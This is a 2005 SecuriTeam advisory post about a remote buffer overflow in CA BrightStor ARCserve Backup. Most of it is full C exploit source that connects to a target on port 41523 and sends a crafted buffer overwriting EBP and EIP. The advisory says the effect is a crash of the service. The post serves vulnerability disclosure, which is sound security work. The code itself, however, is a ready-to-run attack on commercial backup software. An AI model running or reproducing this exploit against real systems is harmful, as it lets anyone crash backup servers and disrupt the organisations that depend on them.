[EXPL] BrightStor ARCserve Backup Buffer Overflow

From: SecuriTeam (support_at_securiteam.com)
Date: 02/14/05

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Date: 14 Feb 2005 11:40:09 +0200

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      BrightStor ARCserve Backup Buffer Overflow
    ------------------------------------------------------------------------

    SUMMARY

     <http://www3.ca.com/Solutions/ProductFamily.asp?ID=115> BrightStor
    ARCserve Backup for Windows "delivers backup and restore protection for
    all Windows server systems as well as Windows, Linux, Mac OS X and UNIX
    client environments".

    Remote exploitation of a buffer overflow vulnerability in Computer
    Associates International Inc's BrightStor ARCserve Backup allows remote
    attackers to cause the program to crash.

    DETAILS

    Exploit:
    //cybertronic@gmx.net

    #include <stdio.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <fcntl.h>
    #include <netinet/in.h>
    #include <netdb.h>

    #define RED "\E[31m\E[1m"
    #define GREEN "\E[32m\E[1m"
    #define YELLOW "\E[33m\E[1m"
    #define BLUE "\E[34m\E[1m"
    #define NORMAL "\E[m"

    #define PORT 41523

    void
    start ( int s )
    {
            char buffer[4096];

            bzero ( &buffer, 4096 );
            memset ( buffer, 0x41, 50 );
            buffer[0] = 0x9b;
            buffer[1] = 0x53; //S
            buffer[2] = 0x45; //E
            buffer[3] = 0x52; //R
            buffer[4] = 0x56; //V
            buffer[5] = 0x49; //I
            buffer[6] = 0x43; //C
            buffer[7] = 0x45; //E
            buffer[8] = 0x50; //P
            buffer[9] = 0x43; //C
            buffer[17] = 0x18;
            buffer[21] = 0xc0;
            buffer[22] = 0xa8;
            buffer[23] = 0x02;
            buffer[24] = 0x67;
            buffer[25] = 0x53; //S
            buffer[26] = 0x45; //E
            buffer[27] = 0x52; //R
            buffer[28] = 0x56; //V
            buffer[29] = 0x49; //I
            buffer[30] = 0x43; //C
            buffer[31] = 0x45; //E
            buffer[32] = 0x50; //P
            buffer[33] = 0x43; //C
            buffer[41] = 0x01;
            buffer[43] = 0x0c;
            buffer[44] = 0x6c;
            buffer[45] = 0x93;
            buffer[46] = 0xce;
            buffer[47] = 0x18;
            buffer[48] = 0x18;
            //ebp
            buffer[49] = 0xbe;
            buffer[50] = 0xba;
            buffer[51] = 0xad;
            buffer[52] = 0xde;
            //eip
            buffer[53] = 0xde;
            buffer[54] = 0xc0;
            buffer[55] = 0xad;
            buffer[56] = 0xde;

            printf ( "[*] Sending buffer [ %d bytes ]...", strlen ( buffer )
    );
            if ( write ( s, buffer, strlen ( buffer ) ) <= 0 )
            {
                    printf ( RED "Send failed!\n" NORMAL );
                    exit ( 1 );
            }
            printf ( GREEN "OK!\n" NORMAL );
            sleep ( 1 );
    }

    int
    main ( int argc, char *argv[] )
    {

            int s;
            struct hostent *he;
            struct sockaddr_in addr;

            if ( argc != 2 )
            {
                    fprintf ( stderr,"Usage: %s hostname\n", argv[0] );
                    exit ( 1 );
            }

            printf ( "Resolving hostname..." );
            if ( ( he = gethostbyname ( argv[1] ) ) == NULL )
            {
                    printf ( RED "FAILED!\n" NORMAL );
                    exit ( 1 );
            }
            printf ( "OK!\n" );

            if ( ( s = socket ( AF_INET, SOCK_STREAM, 0 ) ) == -1 )
            {
                    exit ( 1 );
            }

            addr.sin_family = AF_INET;
            addr.sin_port = htons ( PORT );
            addr.sin_addr = *( ( struct in_addr * ) he->h_addr );

            printf ( "Connecting to %s...", argv[1] );
            if ( connect ( s, ( struct sockaddr * ) &addr, sizeof ( struct
    sockaddr ) ) == -1 )
            {
                    printf ( RED "FAILED!\n" NORMAL );
                    exit ( 1 );
            }
            printf ( "OK!\n" );
            start ( s );
            close ( s );
            return ( 0 );
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:cybertronic@gmx.net>
    cybertronic.

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